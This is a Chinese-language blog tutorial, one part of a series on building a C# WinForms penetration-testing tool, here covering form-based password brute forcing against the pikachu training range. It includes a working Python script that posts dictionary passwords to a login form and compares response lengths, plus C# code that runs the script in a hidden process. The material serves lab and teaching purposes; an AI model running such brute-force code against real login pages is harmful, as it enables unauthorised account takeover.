使用C#winform编写渗透测试工具--暴力破解

这篇文章主要介绍使用C#winform编写渗透测试工具--暴力破解。暴力破解是指通过利用大量猜测和穷举的方式来尝试获取用户口令的攻击方式。简单来说就是猜口令,攻击者一直枚举发送请求,因为爆破成功和失败的长度是不一样的,所以可以通过对比数据包的长度很好的判断是否爆破成功。通过python编写爆破脚本,再通过C#winform调用.py脚本进行爆破。

  • 下面就是使用C#winform编写的渗透测试工具,前面我们已经完成了端口扫描和敏感目录扫描的工作,这一部分将介绍暴力破解部分。

  • 使用pikachu靶场环境进行实验,如今通常是使用BurpSuit的Intruder模块来进行暴力破解,网上也有很多教程,这里我们通过自己编写软件进行暴力破解,靶场环境的搭建步骤可以参考https://blog.csdn.net/guo_yan_gy/article/details/103566638这篇文章,搭建后打开浏览器输入网址进入靶场。


目录

  1. 实现原理
  2. 代码实现
  3. 使用步骤

一、实现原理

暴力破解分为基于表单的暴力破解、基于验证码的暴力破解和基于Token破解,这里主要实现基于表单的暴力破解。

  • 首先需要一个密码字典,可以通过自己收集,也可以在网上下载。

  • 一般进行密码爆破时,都是知道账户的而不知道密码,但如果两个都不知道,一般先爆破账户。爆破账户的原理是根据在输入账号后反馈的消息来进行确认,这里主要进行密码爆破。
  • 使用python编写脚本调用字典进行密码爆破,根据返回的结果的长度判断爆破的结果(错误的密码返回的结果的信息是一样的,长度也是一样的,正确密码返回的结果和其他的返回结果不同,所以只需要找到返回结果长度和其他不一样的密码即可,该密码就是正确密码)。

二、代码实现

python实现密码暴力破解

# conding=utf-8
import requests
import sys # 此处添加header
header = """
Host: 10.16.53.180
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://10.16.53.180
Connection: close
Referer: http://10.16.53.180/pikachu/vul/burteforce/bf_form.php
Cookie: PHPSESSID=1g0kj04uc3ahskoaubeqpgud56
Upgrade-Insecure-Requests: 1
""" def get_headers(url, test):
headers = dict(line.split(": ", 1) for line in header.split("\n") if line != '') # 通过原生请求头获取请求头字典
f = open("password.txt", "r") # 打开字典
pwds = f.readlines()
print("响应时间:")
for pwd in pwds:
url = url
# url = 'http://10.16.53.180/pikachu/vul/burteforce/bf_form.php'
values = {
'username': test,
'password': pwd[0:-1],
'submit': 'Login',
}
req = requests.post(url=url, headers=headers, data=values) # 发送post请求
print(pwd[0:-1]+'-->', len(req.text)) # 返回结果 get_headers(sys.argv[1], sys.argv[2])

C#调用脚本

对于python脚本中包含第三方模块的情况,同样,通过直接创建Process进程,调用python脚本,返回扫描结果。

  • 创建按钮按下事件button1_Click,运行“调用python脚本”函数runPythonPassword()
private void button6_Click(object sender, EventArgs e)
{
richTextBox3.Clear();
runPythonPassword();//运行python函数
label19.Text = "开始扫描...";
}
  • 实例化一个python进程 调用.py 脚本
void runPythonPassword()
{ string url ="http://10.16.53.180/pikachu/vul/burteforce/bf_form.php";
//string headers = richTextBox4.Text;
string username = textBox8.Text;
p = new Process();
string path = "trans_headers.py";//待处理python文件的路径,本例中放在debug文件夹下
string sArguments = path;
ArrayList arrayList = new ArrayList();
arrayList.Add(url);//网站url
//arrayList.Add(headers);//请求头
arrayList.Add(username);//破解的用户名
foreach (var param in arrayList)//拼接参数
{
sArguments += " " + param;
}
//label29.Text = sArguments;
p.StartInfo.FileName = @"D:\Anaconda\python.exe"; //没有配环境变量的话,可以写"xx\xx\python.exe"的绝对路径。如果配了,直接写"python"即可
p.StartInfo.Arguments = sArguments;//python命令的参数
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.CreateNoWindow = true;
p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
p.Start();//启动进程
p.BeginOutputReadLine();
p.OutputDataReceived += new DataReceivedEventHandler(p_OutputDataReceived_password);
Console.ReadLine();
}
  • 输出接收事件函数
void p_OutputDataReceived_password(object sender, DataReceivedEventArgs e)
{
var printedStr = e.Data;
Action at = new Action(delegate ()
{
//接受.py进程打印的字符信息到文本显示框
richTextBox3.AppendText(printedStr + "\n");
label19.Text = "扫描结束";
});
Invoke(at);
}

三、软件使用步骤

  1. 首先在密码框输入任意密码,使用BurpSuit进行抓包。我们发现提交的请求是一个POST请求,账号是admin,密码是123。

  1. 将报文头部复制到python脚本中。

  1. 输入url地址和账户名,点击开始按钮,进行爆破。

  1. 可以看到密码为“abc123”返回的结果的长度和其他的都不一样,由此可以得到账户名为“test”的密码为“abc123”。

5.在靶场中输入账户名:test,密码:abc123,显示登录成功,爆破结束。

github地址:https://github.com/Chenmengx/Penetration-testing-tool

使用C#winform编写渗透测试工具--暴力破解的更多相关文章

  1. #使用C#winform编写渗透测试工具--子域名挖掘

    使用C#winform编写渗透测试工具--子域名挖掘 这篇文章主要介绍使用C#winform编写渗透测试工具--子域名挖掘.在渗透测试中,子域名的收集十分重要,通常一个网站的主站的防御能力特别强,而他 ...

  2. 使用C#winform编写渗透测试工具--敏感目录扫描

    使用C#winform编写渗透测试工具--敏感目录扫描 由于之前在做渗透测试的时候,发现使用的工具较多,切换起来较麻烦,便萌生了开发一个包含各种渗透测试工具的小程序,包括敏感目录扫描.端口查询.子域名 ...

  3. 使用C#winform编写渗透测试工具--Web指纹识别

    使用C#winform编写渗透测试工具--web指纹识别 本篇文章主要介绍使用C#winform编写渗透测试工具--Web指纹识别.在渗透测试中,web指纹识别是信息收集关键的一步,通常是使用各种工具 ...

  4. 使用C#winform编写渗透测试工具--端口扫描

    使用C#winform编写渗透测试工具--端口扫描器 主要介绍使用C#winform编写渗透测试工具--端口扫描器,端口扫描器则是一种检测服务器或者主机虚拟端口是开启或关闭的工具.由于连接到局域网或互 ...

  5. 使用C#winform编写渗透测试工具--SQL注入

    使用C#winform编写渗透测试工具--SQL注入 本篇文章主要介绍使用C#winform编写渗透测试工具,实现SQL注入的功能.使用python编写SQL注入脚本,基于get显错注入的方式进行数据 ...

  6. github渗透测试工具库

    本文作者:Yunying 原文链接:https://www.cnblogs.com/BOHB-yunying/p/11856178.html 导航: 2.漏洞练习平台 WebGoat漏洞练习平台: h ...

  7. github渗透测试工具库[转载]

    前言 今天看到一个博客里有这个置顶的工具清单,但是发现这些都是很早以前就有文章发出来的,我爬下来后一直放在txt里吃土.这里一起放出来. 漏洞练习平台 WebGoat漏洞练习平台:https://gi ...

  8. 轻量级Web渗透测试工具jSQL

    轻量级Web渗透测试工具jSQL jSQL是Kali集成的一款轻量级的Web渗透测试工具.最初该工具主要实施SQL注入,后来增加更多的功能,扩展形成一个综合性的Web渗透测试工具.Kali提供的版本较 ...

  9. 渗透测试工具SQLmap

    一.简介 SQLmap 是一款用 Python 编写的开源渗透测试工具,用来自动检测和利用 SQL 注入漏洞. 二.Windows 下安装 2.1 安装 Python 环境 注:Python 3.0会 ...

随机推荐

  1. 精尽Spring Boot源码分析 - Jar 包的启动实现

    该系列文章是笔者在学习 Spring Boot 过程中总结下来的,里面涉及到相关源码,可能对读者不太友好,请结合我的源码注释 Spring Boot 源码分析 GitHub 地址 进行阅读 Sprin ...

  2. CosId 1.0.3 发布,通用、灵活、高性能的分布式 ID 生成器

    CosId 通用.灵活.高性能的分布式 ID 生成器 介绍 CosId 旨在提供通用.灵活.高性能的分布式系统 ID 生成器. 目前提供了俩大类 ID 生成器:SnowflakeId (单机 TPS ...

  3. ES6学习笔记之 this 详解

    1.非箭头函数下的 this var obj = { x: 0, f1: function () { console.log(this.x); } } var f1 = obj.f1; var x = ...

  4. 7、openstack安装

    1.openstack配置架构图: 2.主机设置: (1)两台主机名分别是controller和compute1: hostnamectl set-hostname controller hostna ...

  5. MySql:Navicat 连接不上虚拟机上的mysql容器

    1.问题显示 通过windows主机navicat连接虚拟的mysql时报如下错误. 2.问题原因 由于navicat版本的问题,出现连接失败的原因:mysql8 之前的版本中加密规则是mysql_n ...

  6. centos下nodejs,npm的安装和nodejs的升级

    安装: sudo yum install epel-release sudo yum install nodejs node -v yum install -y npm --enablerepo=ep ...

  7. Spring Boot中文文档(官方文档翻译 基于1.5.2.RELEASE)

    作者:Phillip Webb, Dave Syer, Josh Long, Stéphane Nicoll, Rob Winch, Andy Wilkinson, Marcel Overdijk, ...

  8. JavaWeb中Servlet和Jsp跳转路径的写法

    最近学习时,常常要写一些页面之间的跳转或者前台和后端之间的跳转 下面总结一下自己对于这些跳转路径的写法 声明:以下讲到的jsp文件都默认在WebRoot目录下 1.表单(Jsp)->Servle ...

  9. 简单学习java内存马

    看了雷石的内存马深入浅出,就心血来潮看了看,由于本人java贼菜就不介绍原理了,本文有关知识都贴链接吧 前置知识 本次主要看的是tomcat的内存马,所以前置知识有下列 1.tomcat结构,tomc ...

  10. Linux | Shell流程控制语句

    流程控制语句 简单的Shell 脚本还不能满足我们日常工作的需要要,因为他不能批量的帮我们完成工作,所以Shell引入了 if.for.while.case 4种流程控制语句来帮助我们完成工作. if ...